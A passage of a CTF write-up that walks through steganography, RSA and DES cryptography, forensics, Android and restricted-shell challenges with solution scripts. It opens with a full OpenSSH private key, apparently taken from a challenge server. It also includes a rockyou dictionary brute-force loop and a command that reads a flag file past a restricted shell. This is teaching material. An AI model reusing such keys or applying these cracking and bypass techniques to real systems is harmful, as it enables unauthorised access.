```-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BXUTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSno+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKmJm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFvmjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8+0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMTCtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaOUBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOExI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoGZf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9thDU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQoa50UHpTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHMJQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMBEfy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl14CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6gSAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAAwC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hnghLUmUlEgMvVzO0gi/YFCatryIeT9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+lLdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRaFsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBAzcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2GKsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQS+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+iDZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9CxTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
